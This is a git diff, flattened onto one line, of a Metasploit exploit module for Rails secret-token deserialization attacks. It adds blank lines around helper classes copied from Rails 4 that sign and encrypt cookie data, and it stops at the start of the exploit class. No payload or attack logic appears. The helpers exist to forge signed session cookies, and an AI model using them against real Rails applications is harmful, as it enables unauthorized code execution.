diff --git a/modules/exploits/multi/http/rails_secret_deserialization.rb b/modules/exploits/multi/http/rails_secret_deserialization.rb index 0fe4612a0e..89a7dd290b 100644 --- a/modules/exploits/multi/http/rails_secret_deserialization.rb +++ b/modules/exploits/multi/http/rails_secret_deserialization.rb @@ -9,7 +9,9 @@ require 'msf/core' #Helper Classes copy/paste from Rails4 class MessageVerifier + class InvalidSignature < StandardError; end + def initialize(secret, options = {}) @secret = secret @digest = options[:digest] || 'SHA1' @@ -20,23 +22,30 @@ class MessageVerifier data = ::Base64.strict_encode64(@serializer.dump(value)) "#{data}--#{generate_digest(data)}" end + def generate_digest(data) require 'openssl' unless defined?(OpenSSL) OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data) end + end class MessageEncryptor + module NullSerializer #:nodoc: + def self.load(value) value end + def self.dump(value) value end + end class InvalidMessage < StandardError; end + OpenSSLCipherError = OpenSSL::Cipher::CipherError def initialize(secret, *signature_key_or_options) @@ -48,6 +57,7 @@ class MessageEncryptor @verifier = MessageVerifier.new(@sign_secret || @secret, :serializer => NullSerializer) # @serializer = options[:serializer] || Marshal end + def encrypt_and_sign(value) @verifier.generate(_encrypt(value)) end @@ -63,18 +73,24 @@ class MessageEncryptor encrypted_data << cipher.final [encrypted_data, iv].map {|v| ::Base64.strict_encode64(v)}.join("--") end + def new_cipher OpenSSL::Cipher::Cipher.new(@cipher) end + end + class KeyGenerator + def initialize(secret, options = {}) @secret = secret @iterations = options[:iterations] || 2**16 end + def generate_key(salt, key_size=64) OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size) end + end class Metasploit3 < Msf::Exploit::Remote